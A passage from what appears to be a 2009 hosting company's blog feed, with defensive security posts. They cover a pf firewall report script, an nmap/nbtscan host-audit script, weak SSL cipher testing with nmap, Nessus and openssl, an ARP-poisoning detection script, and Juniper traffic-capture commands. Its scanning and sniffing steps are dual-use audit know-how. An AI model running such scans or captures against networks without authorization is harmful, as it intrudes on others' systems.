<p>It is always a good idea , when implementing open source firewall implementations (<a href="http://www.netfilter.org/" target="_new">iptables</a>, <a href="http://www.openbsd.org/faq/pf/" target="_new">pf</a>, etc), to build in as much reporting and verbosity as possible. </p>
<p>Having verbose reports on the state of your firewall, intrusion attempts and other information is key to ensuring the health and integrity of your network.</p>
<p>Somewhere along the line, we <a href="http://bash.cyberciti.biz/firewall/bsd-spamhaus-lasso-spam-database-update-pf-firewall/" target="_new">wrote a script</a> to provide daily reports on intrusion attempts to penetrate our network &#8212; this usually happens when someone exceeds certain connection thresholds.</p>
<p>It may not be the most informative data, but the script can be modified to provide other important statistical information. It can also be modified to be used with other <a href="http://www.pfsense.com/" target="new">firewall implementations</a>. I&#8217;m certain it wouldn&#8217;t be hard to convert this script to <a href="http://www.howtoforge.com/bash-script-for-configuring-iptables-firewall" target="_new">utilise iptables</a>.</p>
<p>Below you will find the script itself &#8212; it can be set to run daily as a cronjob perhaps. Also note that the script tries to resolve a hostname for the IP address to at least provide some quick &#038; easy information to the security administrators when determining coordinated attacks or attacks coming from compromised systems.</p>
<pre>
#!/bin/bash
# SDH PFCTL Daily Hack Table check

yesterday1=`date -v -1d +"%b"`
yesterday2=`date -v -1d +"%e"`
yesterday_display=`date -v -1d +"%b %d %Y"`

echo "" > /var/log/tablecheck.log

/sbin/pfctl -vvsTables > /var/log/pfctltables.log

echo "Firewall Table Audit: " $yesterday_display >> /var/log/tablecheck.log
echo -e "----------------------------------">> /var/log/tablecheck.log
echo -e "" >> /var/log/tablecheck.log

for obj0 in $(cat /var/log/pfctltables.log | grep "\-pa\-r\-" | awk -F "\t" '{printf "%s\n", $2}');
do
echo -e $obj0 "TABLE" >> /var/log/tablecheck.log
echo -e "--------------" >> /var/log/tablecheck.log

# this is because the date command outputs single digit non-aligned right, but pfctl doesnt display that way <img src='http://www.stardothosting.com/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />
if [ "$yesterday2" -le 9 ]
then
        /sbin/pfctl -t $obj0 -Tshow -vv | grep -A 4 -B 1 "$yesterday1  $yesterday2" >> /var/log/tablecheck.log 2>&#038;1
else
        /sbin/pfctl -t $obj0 -Tshow -vv | grep -A 4 -B 1 "$yesterday1 $yesterday2" >> /var/log/tablecheck.log 2>&#038;1
fi

if [ "$?" -eq 1 ]
then
        echo -e "No values found for yesterday" >> /var/log/tablecheck.log
        echo -e "" >> /var/log/tablecheck.log
else
        echo -e "Hostnames :" >> /var/log/tablecheck.log
        for obj1 in $(/sbin/pfctl -t $obj0 -Tshow -vv | grep -B 1 "$yesterday1 $yesterday2" | grep -v "Cleared" | grep -v "\-\-");
        do
        iphostnm=`/usr/bin/nslookup $obj1 | grep -A1 "Non-authoritative answer" | grep "name" | awk -F "=" '{printf "%s\n", $2}'`
        if [ "$?" -eq 0 ]
        then
                echo -e "$obj1 / $iphostnm" >> /var/log/tablecheck.log
        else
                echo -e "$obj1 / No host name found" >> /var/log/tablecheck.log
        fi
        done
       echo -e "" >> /var/log/tablecheck.log
fi

done

cat /var/log/tablecheck.log | mail -s "Firewall Table Report" you@youremail.com
</pre>
<p>Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2009/08/12/freebsd-pf-packet-filter-shell-script-to-report-on-hacking-attempts/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Network Audit Bash Script Using Netbios and Nmap</title>
		<link>http://www.stardothosting.com/blog/2009/07/18/network-audit-bash-script-using-netbios-and-nmap/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=network-audit-bash-script-using-netbios-and-nmap</link>
		<comments>http://www.stardothosting.com/blog/2009/07/18/network-audit-bash-script-using-netbios-and-nmap/#comments</comments>
		<pubDate>Sat, 18 Jul 2009 14:08:32 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[auditing]]></category>
		<category><![CDATA[nbtscan]]></category>
		<category><![CDATA[netbios]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=162</guid>
		<description><![CDATA[In order to quickly audit a network , I created this bash script to scan selected IPs, read from a configuration file, and compile a simple report to be emailed. The script can be modified to suit your needs, such as exporting the data to a database or perhaps an HTML report for a web based reporting site. ]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F07%2F18%2Fnetwork-audit-bash-script-using-netbios-and-nmap%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F07%2F18%2Fnetwork-audit-bash-script-using-netbios-and-nmap%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Working in a large office, it is sometimes necessary to use different network audit tools in order to properly assess the integrity and security of networks.</p>
<p>In order to quickly <A href="http://heavyk.org/nmap-audit/nmap-audit-pod.html" target="_new">audit a network</a> , I created this script to scan selected IPs, read from a configuration file, and compile a simple report to be emailed. The script can be modified to suit your needs, such as exporting the data to a database or perhaps an HTML report for a web based reporting site. </p>
<p>The script itself doesn&#8217;t do anything particularly special, however it has proven useful when you want to do a quick &#038; dirty network audit.</p>
<p>There are other tools out there, such as <a href="http://www.open-audit.org/" target="_new">OpenAudit</a>, <a href="http://www.nessus.org/" target="_new">Nessus</a> and <A href="http://nmap.org/" target="_new">Nmap</a> that could do similar tasks. However, the important thing to remember here is that those tools (with the exception of open audit perhaps) can be incorporated into this script to perform regular scheduled audits. </p>
<p>This script could actually be updated to utilize <a href="http://nmap.org/5/" target="_new">nmap v5.0</a> &#8212; utilizing the new features plus <a href="http://nmap.org/ndiff/" target="new">ndiff</a> could turn this script into a very powerful network analysis tool.</p>
<p>Hopefully some of you will find some use out of the script! Enjoy!</p>
<pre>
#!/bin/sh

# Basic Information Gathering
currentmonth=`date "+%Y-%m-%d"`

rm lindows.log

echo "Hostname Identification Audit: " $currentmonth >> lindows.log
echo -e "------------------------------------------" >> lindows.log
echo -e >> lindows.log
for obj0 in $(grep -v "^#" all_linux_windows_ips.txt);
do

# Check if windows
check=`nmap -e bge0 -p 3389 $obj0 | grep open`

if [ "$?" -eq 0 ]
        then
        windowshost=`nbtscan -v -s , $obj0 | head -n 1 | awk -F"," '{printf "%s", $2}'`
        if [ -n "${windowshost:+x}" ]
                then
                echo -e "$windowshost\t: $obj0\t: WINDOWS" >> lindows.log
                else
                echo -e "NETBIOS UNKOWN\t: $obj0\t: WINDOWS" >> lindows.log
        fi
        else
        # Check if linux or freebsd
        ssh_get=`ssh -l ims $obj0 '(uname | sed 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' &#038;&#038; hostname | sed 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/')'`
        if [ "$?" -eq 0 ]
                then
                uname=`echo $ssh_get | awk -F" " '{printf "%s", $1}'`
                hostname1=`echo $ssh_get | awk -F" " '{printf "%s", $2}'`
                hostname2=`echo $hostname1 | awk -F"." '{printf "%s", $1}'`
                echo -e "$hostname2\t: $obj0\t: $uname" >> lindows.log
                else
                echo -e "UNKNOWN ERROR\t: $obj0\t: PLEASE CHECK HOST" >> lindows.log
        fi
fi
done

cat lindows.log | mail -s 'Windows/FreeBSD/Linux Host Audit' your@email.com
</pre>
<p>Note that the &#8220;all_windows_linux_ips.txt&#8221; is just a text file with the ip addresses of all hostnames on your network. It can be modified to simply utilize whole subnets to make it easier to perform the audit. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2009/07/18/network-audit-bash-script-using-netbios-and-nmap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Testing for weak SSL ciphers for security audits</title>
		<link>http://www.stardothosting.com/blog/2009/05/22/testing-for-weak-ssl-ciphers-for-security-audits/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=testing-for-weak-ssl-ciphers-for-security-audits</link>
		<comments>http://www.stardothosting.com/blog/2009/05/22/testing-for-weak-ssl-ciphers-for-security-audits/#comments</comments>
		<pubDate>Fri, 22 May 2009 17:24:22 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[auditing]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[weak ciphers]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=120</guid>
		<description><![CDATA[Weak ciphers allow for an increased risk in encryption compromise, man-in-the-middle attacks and other related attack vectors.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F05%2F22%2Ftesting-for-weak-ssl-ciphers-for-security-audits%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F05%2F22%2Ftesting-for-weak-ssl-ciphers-for-security-audits%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>During <a href="http://www.mcafee.com/pci" target="_new">security audits</a>, such as a <A href="https://www.pcisecuritystandards.org/" target="_new">PCI-DSS</a> <a href="http://en.wikipedia.org/wiki/PCI_DSS" target="_new">compliance audit</a>, it is very commonplace to <A href="http://www.nessus.org/" target="_new">test the cipher mechanism</a> that a website / server uses and supports to ensure that weak / outdated cipher methods are not used.</p>
<p>Weak ciphers allow for an increased risk in encryption compromise, man-in-the-middle attacks and other related attack vectors.</p>
<p>Due to historic export restrictions of high grade cryptography, legacy and new web servers are often able and configured to handle weak cryptographic options.</p>
<p>Even if high grade ciphers are normally used and installed, some server misconfiguration could be used to force the use of a weaker cipher to gain access to the supposed secure communication channel. </p>
<p><big><b><u>Testing SSL / TLS cipher specifications and requirements for site</big></u></b></p>
<p>The http clear-text protocol is normally secured via an SSL or TLS tunnel, resulting in https traffic. In addition to providing encryption of data in transit, https allows the identification of servers (and, optionally, of clients) by means of digital certificates.</p>
<p>Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of, at most, 40 bits, a key length which could be broken and would allow the decryption of communications. Since then, cryptographic export regulations have been relaxed (though some constraints still hold); however, it is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. SSL-based services should not offer the possibility to choose weak ciphers.</p>
<p><big><b><u>Testing for weak ciphers : examples</big></b></u></p>
<p>In order to detect possible support of weak ciphers, the ports associated to SSL/TLS wrapped services must be identified. These typically include port 443, which is the standard https port; however, this may change because a) https services may be configured to run on non-standard ports, and b) there may be additional SSL/TLS wrapped services related to the web application. In general, a service discovery is required to identify such ports.</p>
<p>The nmap scanner, via the “–sV” scan option, is able to identify SSL services. Vulnerability Scanners, in addition to performing service discovery, may include checks against weak ciphers (for example, the Nessus scanner has the capability of checking SSL services on arbitrary ports, and will report weak ciphers).</p>
<p><b>Example 1.</b> SSL service recognition via <A href="http://nmap.org/" target="_new">nmap</a>.</p>
<pre>
[root@test]# nmap -F -sV localhost

Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-07-27 14:41 CEST
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1205 ports scanned but not shown below are in state: closed)

PORT      STATE SERVICE         VERSION
443/tcp   open  ssl             OpenSSL
901/tcp   open  http            Samba SWAT administration server
8080/tcp  open  http            Apache httpd 2.0.54 ((Unix) mod_ssl/2.0.54 OpenSSL/0.9.7g PHP/4.3.11)
8081/tcp  open  http            Apache Tomcat/Coyote JSP engine 1.0

Nmap run completed -- 1 IP address (1 host up) scanned in 27.881 seconds
[root@test]#
</pre>
<p><b>Example 2.</b> Identifying weak ciphers with Nessus. The following is an anonymized excerpt of a report generated by the Nessus scanner, corresponding to the identification of a server certificate allowing weak ciphers </p>
<pre>
 https (443/tcp)
 Description
 Here is the SSLv2 server certificate:
 Certificate:
 Data:
 Version: 3 (0x2)
 Serial Number: 1 (0x1)
 Signature Algorithm: md5WithRSAEncryption
 Issuer: C=**, ST=******, L=******, O=******, OU=******, CN=******
 Validity
 Not Before: Oct 17 07:12:16 2002 GMT
 Not After : Oct 16 07:12:16 2004 GMT
 Subject: C=**, ST=******, L=******, O=******, CN=******
 Subject Public Key Info:
 Public Key Algorithm: rsaEncryption
 RSA Public Key: (1024 bit)
 Modulus (1024 bit):
 00:98:4f:24:16:cb:0f:74:e8:9c:55:ce:62:14:4e:
 6b:84:c5:81:43:59:c1:2e:ac:ba:af:92:51:f3:0b:
 ad:e1:4b:22:ba:5a:9a:1e:0f:0b:fb:3d:5d:e6:fc:
 ef:b8:8c:dc:78:28:97:8b:f0:1f:17:9f:69:3f:0e:
 72:51:24:1b:9c:3d:85:52:1d:df:da:5a:b8:2e:d2:
 09:00:76:24:43:bc:08:67:6b:dd:6b:e9:d2:f5:67:
 e1:90:2a:b4:3b:b4:3c:b3:71:4e:88:08:74:b9:a8:
 2d:c4:8c:65:93:08:e6:2f:fd:e0:fa:dc:6d:d7:a2:
 3d:0a:75:26:cf:dc:47:74:29
 Exponent: 65537 (0x10001)
 X509v3 extensions:
 X509v3 Basic Constraints:
 CA:FALSE
 Netscape Comment:
 OpenSSL Generated Certificate
 Page 10
 Network Vulnerability Assessment Report 25.05.2005
 X509v3 Subject Key Identifier:
 10:00:38:4C:45:F0:7C:E4:C6:A7:A4:E2:C9:F0:E4:2B:A8:F9:63:A8
 X509v3 Authority Key Identifier:
 keyid:CE:E5:F9:41:7B:D9:0E:5E:5D:DF:5E:B9:F3:E6:4A:12:19:02:76:CE
 DirName:/C=**/ST=******/L=******/O=******/OU=******/CN=******
 serial:00
 Signature Algorithm: md5WithRSAEncryption
 7b:14:bd:c7:3c:0c:01:8d:69:91:95:46:5c:e6:1e:25:9b:aa:
 8b:f5:0d:de:e3:2e:82:1e:68:be:97:3b:39:4a:83:ae:fd:15:
 2e:50:c8:a7:16:6e:c9:4e:76:cc:fd:69:ae:4f:12:b8:e7:01:
 b6:58:7e:39:d1:fa:8d:49:bd:ff:6b:a8:dd:ae:83:ed:bc:b2:
 40:e3:a5:e0:fd:ae:3f:57:4d:ec:f3:21:34:b1:84:97:06:6f:
 f4:7d:f4:1c:84:cc:bb:1c:1c:e7:7a:7d:2d:e9:49:60:93:12:
 0d:9f:05:8c:8e:f9:cf:e8:9f:fc:15:c0:6e:e2:fe:e5:07:81:
 82:fc
 Here is the list of available SSLv2 ciphers:
 RC4-MD5
 EXP-RC4-MD5
 RC2-CBC-MD5
 EXP-RC2-CBC-MD5
 DES-CBC-MD5
 DES-CBC3-MD5
 RC4-64-MD5

The SSLv2 server offers 5 strong ciphers, but also 0 medium strength and 2 weak "export class" ciphers.
The weak/medium ciphers may be chosen by an export-grade or badly configured client software. They only offer a limited protection against a brute force attack

Solution: disable those ciphers and upgrade your client software if necessary.
See http://support.microsoft.com/default.aspx?scid=kben-us216482 or http://httpd.apache.org/docs-2.0/mod/mod_ssl.html#sslciphersuite  This SSLv2 server also accepts SSLv3 connections. This SSLv2 server also accepts TLSv1 connections.

 Vulnerable hosts
 (list of vulnerable hosts follows)
</pre>
<p><b>Example 3.</b> Manually audit weak SSL cipher levels with OpenSSL. The following will attempt to connect to Google.com with SSLv2.</p>
<pre>
[root@test]# openssl s_client -no_tls1 -no_ssl3 -connect www.google.com:443
CONNECTED(00000003)
depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
verify error:num=27:certificate not trusted
verify return:1
depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
verify error:num=21:unable to verify the first certificate
verify return:1
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDYzCCAsygAwIBAgIQYFbAC3yUC8RFj9MS7lfBkzANBgkqhkiG9w0BAQQFADCB
zjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJ
Q2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UE
CxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAxMYVGhh
d3RlIFByZW1pdW0gU2VydmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNl
cnZlckB0aGF3dGUuY29tMB4XDTA2MDQyMTAxMDc0NVoXDTA3MDQyMTAxMDc0NVow
aDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDU1v
dW50YWluIFZpZXcxEzARBgNVBAoTCkdvb2dsZSBJbmMxFzAVBgNVBAMTDnd3dy5n
b29nbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/e2Vs8U33fRDk
5NNpNgkB1zKw4rqTozmfwty7eTEI8PVH1Bf6nthocQ9d9SgJAI2WOBP4grPj7MqO
dXMTFWGDfiTnwes16G7NZlyh6peT68r7ifrwSsVLisJp6pUf31M5Z3D88b+Yy4PE
D7BJaTxq6NNmP1vYUJeXsGSGrV6FUQIDAQABo4GmMIGjMB0GA1UdJQQWMBQGCCsG
AQUFBwMBBggrBgEFBQcDAjBABgNVHR8EOTA3MDWgM6Axhi9odHRwOi8vY3JsLnRo
YXd0ZS5jb20vVGhhd3RlUHJlbWl1bVNlcnZlckNBLmNybDAyBggrBgEFBQcBAQQm
MCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLnRoYXd0ZS5jb20wDAYDVR0TAQH/
BAIwADANBgkqhkiG9w0BAQQFAAOBgQADlTbBdVY6LD1nHWkhTadmzuWq2rWE0KO3
Ay+7EleYWPOo+EST315QLpU6pQgblgobGoI5x/fUg2U8WiYj1I1cbavhX2h1hda3
FJWnB3SiXaiuDTsGxQ267EwCVWD5bCrSWa64ilSJTgiUmzAv0a2W8YHXdG08+nYc
X/dVk5WRTw==
-----END CERTIFICATE-----
subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
issuer=/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com
---
No client certificate CA names sent
---
Ciphers common between both SSL endpoints:
RC4-MD5         EXP-RC4-MD5     RC2-CBC-MD5
EXP-RC2-CBC-MD5 DES-CBC-MD5     DES-CBC3-MD5
RC4-64-MD5
---
SSL handshake has read 1023 bytes and written 333 bytes
---
New, SSLv2, Cipher is DES-CBC3-MD5
Server public key is 1024 bit
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : SSLv2
    Cipher    : DES-CBC3-MD5
    Session-ID: 709F48E4D567C70A2E49886E4C697CDE
    Session-ID-ctx:
    Master-Key: 649E68F8CF936E69642286AC40A80F433602E3C36FD288C3
    Key-Arg   : E8CB6FEB9ECF3033
    Start Time: 1156977226
    Timeout   : 300 (sec)
    Verify return code: 21 (unable to verify the first certificate)
---
closed
</pre>
<p>These tests usually provide a very in-depth and reliable method for ensuring weak and vulnerable ciphers are not used in order to comply with said audits.</p>
<p>Personally, I prefer the nessus audit scans. Usually the default &#8220;free&#8221; plugins are enough to complete these types of one-off audits. There are, however, commercial nessus plugins designed just for PCI-DSS compliance audits and are <a href="http://blog.tenablesecurity.com/2008/10/pci-dss-plugins.html" target="_new">available for purchase from the nessus site</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2009/05/22/testing-for-weak-ssl-ciphers-for-security-audits/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Detect ARP poisoning on LAN</title>
		<link>http://www.stardothosting.com/blog/2009/05/01/detect-arp-poisoning-on-lan/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=detect-arp-poisoning-on-lan</link>
		<comments>http://www.stardothosting.com/blog/2009/05/01/detect-arp-poisoning-on-lan/#comments</comments>
		<pubDate>Fri, 01 May 2009 16:41:16 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[arp poisoning]]></category>
		<category><![CDATA[auditing]]></category>
		<category><![CDATA[lan]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=81</guid>
		<description><![CDATA[Occasionally during security audits it may be necessary to check your LAN for rogue machines. All the potential rogue machine in your LAN needs to do is poison your ARP cache so that the cache thinks that the attacker is the router or the destination machine. ]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F05%2F01%2Fdetect-arp-poisoning-on-lan%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F05%2F01%2Fdetect-arp-poisoning-on-lan%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><big><u><strong>ARP Poisoning : Potential MITM attack</strong></big></u></p>
<p>Occasionally during security audits it may be necessary to check your LAN for rogue machines. All the potential rogue machine in your LAN needs to do is poison your ARP cache so that the cache thinks that the attacker is the router or the destination machine. Then all packets to that machine will go through the rogue machine, and it will be, from the network&#8217;s standpoint, between the client and the server, even though technically it&#8217;s just sitting next to them. This is actually fairly simple to do, and is also fairly easy to detect as a result.</p>
<p>In this sample case, the rogue machine was in a different room but still on the same subnet. Through simple ARP poisoning it convinced the router that it was our server, and convinced the server that it was the router. It then had an enjoyable time functioning as both a password sniffer and a router for unsupported protocols.</p>
<p>By simply pinging all the local machines (nmap -sP 192.168.1.0/24 will do this quickly) and then checking the ARP table (arp -an) for duplicates, you can detect ARP poisoning quite quickly.</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ arp -an| awk '{print $4}'| sort | uniq -c | grep -v ' 1 '<br />
&nbsp; &nbsp; 5 F8:F0:11:15:34:51<br />
&nbsp; &nbsp;88</div></div>
<p></strong></p>
<p>Then I simply looked at the IP addresses used by that ethernet address in &#8216;arp -an&#8217; output, ignoring those that were blatantly poisoned (such as the router) and looked up the remaining address in DNS to see which machine it was.</p>
<p>Below is a script I wrote to automate this process (perhaps in a cron job) , and send out an alert email if any ARP poisoning is detected.</p>
<p><b><u><big>ARP Poisoning Check Script</b></u></big></p>
<p>This can ideally run as a cronjob (i.e. 30 * * * *)</p>
<pre>
<strong>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#!/bin/sh<br />
# Star Dot Hosting<br />
# detect arp poisoning on LAN<br />
<br />
currentmonth=`date &quot;+%Y-%m-%d %H:%M:%S&quot;`<br />
logpath=&quot;/var/log&quot;<br />
<br />
<br />
rm $logpath/arpwatch.log<br />
<br />
<br />
echo &quot;ARP Poisoning Audit: &quot; $currentmonth &gt;&gt; $logpath/arpwatch.log<br />
echo -e &quot;-----------------------------------------&quot; &gt;&gt; $logpath/arpwatch.log<br />
echo -e &gt;&gt; $logpath/arpwatch.log<br />
<br />
arp -an | awk '{print $4}' | sort | uniq -c | grep -v ' 1 '<br />
<br />
if [ &quot;$?&quot; -eq 0 ]<br />
then<br />
&nbsp; &nbsp; &nbsp; &nbsp; arp -an | awk '{print $4}' | sort | uniq -c | grep -v ' 1 ' &gt;&gt; $logpath/arpwatch.log 2&gt;&amp;1<br />
&nbsp; &nbsp; &nbsp; &nbsp; cat $logpath/arpwatch.log | mail -s 'Potential ARP Poisoning ALERT!' your@email.com<br />
else<br />
echo -e &quot;No potential ARP poisoning instances found...&quot; &gt;&gt; $logpath/arpwatch.log<br />
fi</div></div>

</strong>
</pre>
<p>Simple!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2009/05/01/detect-arp-poisoning-on-lan/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Monitoring raw traffic on a Juniper Netscreen</title>
		<link>http://www.stardothosting.com/blog/2009/04/24/monitoring-raw-traffic-on-a-juniper-netscreen/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=monitoring-raw-traffic-on-a-juniper-netscreen</link>
		<comments>http://www.stardothosting.com/blog/2009/04/24/monitoring-raw-traffic-on-a-juniper-netscreen/#comments</comments>
		<pubDate>Fri, 24 Apr 2009 20:31:57 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[auditing]]></category>
		<category><![CDATA[juniper]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[netscreen]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=15</guid>
		<description><![CDATA[Occasionally I will run into situations where the only way to definitively diagnose network related problems is to perform raw traffic dumps on a main internal / external interface. The reasons for needing to perform this could be anything. I thought I&#8217;d share the quick and easy steps to perform in order to do a [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F04%2F24%2Fmonitoring-raw-traffic-on-a-juniper-netscreen%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F04%2F24%2Fmonitoring-raw-traffic-on-a-juniper-netscreen%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Occasionally I will run into situations where the only way to definitively diagnose network related problems is to perform raw traffic dumps on a main internal / external interface.</p>
<p>The reasons for needing to perform this could be anything. I thought I&#8217;d share the quick and easy steps to perform in order to do a quick network traffic capture.</p>
<p>Be warned though, that it is easy to overflow the console buffer and subsequently crash your firewall if you don&#8217;t narrow the scope of your capture enough.</p>
<p>There exists a command on the <A href="http://www.juniper.net/us/en/products-services/security/netscreen/" target="_new">juniper netscreen</a> console that works the same way that <a href="http://www.tcpdump.org/" target="_new">tcpdump</a> would, called &#8220;snoop&#8221;.</p>
<p>To view the current snoop settings :<br />
<strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">snoop info</div></div>
<p></strong></p>
<p>To monitor all traffic from a particular ip address going to a particular port :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;strong&gt;snoop filter ip src-ip x.x.x.x dst-port 23&lt;/strong&gt;</div></div>
<p>To monitor all traffic on the network going to a particular ip address :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;strong&gt;snoop filter ip dst-ip x.x.x.x &lt;/strong&gt;</div></div>
<p>The above commands only SET the filter. You have to turn the filter on and monitor the buffer to actually view the results. Note that you should ensure that the scope of your filters are quite narrow as there is the risk of overflowing the console buffer and crashing the firewall if you are monitoring a wide scope.</p>
<p>To view the filters and turn on snoop :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;strong&gt;clear dbuf<br />
snoop<br />
get dbuf stream&lt;/strong&gt;</div></div>
<p>Dont forget to clear the filters , dbuf stream and turn off snoop when your done :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;strong&gt;snoop off<br />
clear dbuf<br />
snoop filter delete&lt;/strong&gt;</div></div>
<p>That&#8217;s it! </p>
